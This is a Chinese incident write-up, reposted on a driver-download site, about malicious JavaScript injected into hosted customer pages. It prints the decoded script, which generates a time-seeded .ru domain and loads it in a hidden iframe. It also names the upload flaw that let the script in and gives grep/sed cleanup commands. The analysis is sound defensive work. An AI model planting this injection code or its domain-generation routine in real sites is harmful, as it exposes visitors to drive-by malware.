驱动管家:安全、高效、精准的专业驱动下载站!

分析入侵服务器的脚本代码 服务器存在什么安全漏洞?

2018-03-15 13:21:38责编:llp   来源:驱动管家     人气:

我们的服务器又出入侵事故了。有客户的html 网页底部被插入了一段js 脚本,

导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链SEO 中这是常见的手法,

但奇特的地方就在于我们这次捕获到的代码,会根据当前的时间戳生成一个(伪)随机域名,

然后定时访问。

看上去目的并非是SEO。

一、攻击分析

被插入的javascript 在此——

分析入侵服务器的脚本代码 服务器存在什么安全漏洞?

分析入侵服务器的脚本代码 服务器存在什么安全漏洞?

分析入侵服务器的脚本代码 服务器存在什么安全漏洞?

运维拿到这段代码的时候,都不知道它是要做什么。

在这里不得不吐槽一下,为啥我们的运维都不懂代码……我放到Chrome 里decode 出来,

是这样子的

复制代码

代码如下:

function nextRandomNumber() {

var hi = this.seed / this.Q;

var lo = this.seed % this.Q;

var test = this.A * lo - this.R * hi;

if (test > 0) {

this.seed = test;

} else {

this.seed = test + this.M;

}

return (this.seed * this.oneOverM);

}

function RandomNumberGenerator(unix) {

var d = new Date(unix * 1000);

var s = d.getHours() > 12 ? 1 : 0;

this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)

+ (Math.round(s * 0xFFF));

this.A = 48271;

this.M = 2147483647;

this.Q = this.M / this.A;

this.R = this.M % this.A;

this.oneOverM = 1.0 / this.M;

this.next = nextRandomNumber;

return this;

}

function createRandomNumber(r, Min, Max) {

return Math.round((Max - Min) * r.next() + Min);

}

function generatePseudoRandomString(unix, length, zone) {

var rand = new RandomNumberGenerator(unix);

var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',

'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];

var str = '';

for (var i = 0; i < length; i++) {

str += letters[createRandomNumber(rand, 0, letters.length - 1)];

}

return str + '.' + zone;

}

setTimeout(function () {

try {

if (typeof iframeWasCreated == "undefined") {

iframeWasCreated = true;

var unix = Math.round(+new Date() / 1000);

var domainName = generatePseudoRandomString(unix, 16, 'ru');

ifrm = document.createElement("IFRAME");

ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");

ifrm.style.width = "0px";

ifrm.style.height = "0px";

ifrm.style.visibility = "hidden";

document.body.appendChild(ifrm);

}

} catch (e) {}

}, 500);

于是大意可知,它内置了一个随机域名生成函数,有趣的事情。

伪随机数发生器基于unix 时间戳,说它是“伪”随机,是因为这并非真正意义上的随机,

我们可以根据时间计算出它所产生的结果。

事实上,它最终每12 个小时就会生成一个类似ctonxidjqijsnzny.ruznycugibimtvplve.ru这样的域名。

这并非有新意的黑客,之前有安全人员对恶意软件下载的分析,

攻击者甚至使用了twitter 消息作为种子来生成域名,这是真正的随机,完全无法预料,

也无从预警和封锁。

话说回来,在这段代码开始运作产生访问流量之前,黑客有充足的时间注册和配置域名,

并挂上木马链接。毫无疑问的是,如果2012 真的不是世界末日,

我们很容易预知到它即将产生什么域名。于是写段程序检测一下,

直至未来的2012 年8 月7 日,有89 个域名已经注册,WHOIS 显示DNS 解析服务器在俄国。

真正的黑客大国,老毛子名不虚传。

网上搜了一下,很多国外服务商也遇到了这个问题,有人甚至观测到一些服务器端的逻辑,

比如根据访问者IP 进行302 重定向的机制。

二、安全漏洞

更重要的问题是,恶意js 代码是怎么注入到我们客户的网页上的呢?

通过查看日志我们发现,捅篓子的是某著名后台管理系统的一个文件上传漏洞,

目前厂商已经给出修复方案。他们建议重置所有用户的密码……

三、擦屁股

这苦逼活,又是我的差事。花了一个小时,写了两句话,测试通过。

# check

grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* >injeted_list.txt

# clean up

grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* | xargs sed -i -e 's/\/\*km0ae9gr6m/\n&/g' -e 's/qhk6sa6g1c\ //&\n/g' -e '/km0ae9gr6m*/,/qhk6sa6g1c/d'

参考链接:

http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html

作者 lovelucy

  • 如何通过135端口入侵网站?135端口入侵的方法大揭秘

    如何通过135端口入侵网站?135端口入侵的方法大揭秘

      协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地 执行远程计算机上的代码;  

    详情2018-01-05 10:48:26责编:llp   来源:驱动管家     
  • dns欺骗攻击原理 dns欺骗检测和防范思路

    dns欺骗攻击原理 dns欺骗检测和防范思路

    本文对以侦听为基础的DNS ID欺骗(DNS ID spoofing)进行了探讨,并提出了相关的防护解决方案。一、DNS SERVER的服务工作过程DNS是一种实现Domain Name和IP Address之间转换的系统,它的工作原理就是在两者间

    详情2018-03-01 11:06:29责编:llp   来源:驱动管家     
  • 开源应用程序防火墙WebKnight如何在iis6中安装?

    开源应用程序防火墙WebKnight如何在iis6中安装?

    网站被“成功”注入,网站一些页面被插入了下载病毒的代码,经查:生产服务器的代码没有任何被改动过的迹象,排除服务器被入侵,代码被篡改的可能;有病毒下载代码的部分,在数据库里真实看到了篡改迹象,可以排

    详情2018-02-28 15:41:15责编:llp   来源:驱动管家     
  • 如何设定一个无ip的log服务器?为什么要stealth呢?

    如何设定一个无ip的log服务器?为什么要stealth呢?

    在网上越来越多的hacker 的出现, 越来越多的高手出现的情况下 如何才能确保自己可以保存一份完整的log 呢?稍微有点概念的hacker 都知道,进入系统后的第一见事情就是去清理log, 而发现入侵的最简单最直接的

    详情2018-02-02 17:53:27责编:llp   来源:驱动管家     
  • websql安全风险详析 websql攻击的防御之道

    websql安全风险详析 websql攻击的防御之道

    一、WebSQL安全风险简介数据库安全一直是后端人员广泛关注和需要预防的问题。但是自从HTML5引入本地数据库和WebSQL之后,前端开发对于数据库的安全也必须要有所了解和警惕。WebSQL的安全问题通常表现为两个部分:

    详情2018-02-08 09:37:00责编:llp   来源:驱动管家     
  • 公共wifi网络的风险问题 黑客的三大阴招

    公共wifi网络的风险问题 黑客的三大阴招

    大家都知道现在的大部分的公共场合也安装WiFi,那么公共WiFi网络的风险问题再次成为用户关注的焦点,一起来探讨探讨吧。公共WiFi网络的风险问题再次成为用户关注的焦点。黑客可以通过构造假的WiFi网络盗取公共场

    详情2018-02-15 11:38:49责编:llp   来源:驱动管家     
  • 黑客入侵有哪些方法?黑客入侵的手段

    黑客入侵有哪些方法?黑客入侵的手段

      1 1433端口入侵  scanport exe 查有1433的机器  SQLScanPass exe 进行字典暴破(字典是关键)

    详情2018-01-06 16:07:26责编:llp   来源:驱动管家     
  • CGI扫描器原理 3389端口、512端口的入侵过程

    CGI扫描器原理 3389端口、512端口的入侵过程

    有很多网站为了安全起见,在WEB Server前面架了防火墙,或者做了TCP IP过滤,对外只开放TCP 80端口。从入侵者角度来看,要入侵那么从80上跑的CGI入手是比较可行的,当然也可以用别的办法,例如旁敲侧击,呵呵。

    详情2018-03-13 15:47:07责编:llp   来源:驱动管家     
  • 简单谈谈哪些类型的网络管理员具有不安全因素?

    简单谈谈哪些类型的网络管理员具有不安全因素?

    Jeff Dray最近经过对IT行业的深入调查研究,通过总结和分析针对IT行业列出了一份类别名单。在这里,他定义了七类最不安全的网络管理员。如果你是一名网络管理员,并且已经意识到工作中还存在着不足,看看你属于

    详情2018-01-15 16:49:50责编:llp   来源:驱动管家     
  • 为什么unix主机存在安全漏洞?unix主机安全漏洞存在的必要性

    为什么unix主机存在安全漏洞?unix主机安全漏洞存在的必要性

    目前,连接于互联网中的服务器大都采用Unix操作系统,因此,我们设计并实现了一个Unix主机漏洞扫描器,设计该漏洞扫描器的出发点是:以系统管理员的视野,发掘Unix主机系统漏洞,目的是增强主机系统的安全性。如

    详情2018-02-24 19:10:43责编:llp   来源:驱动管家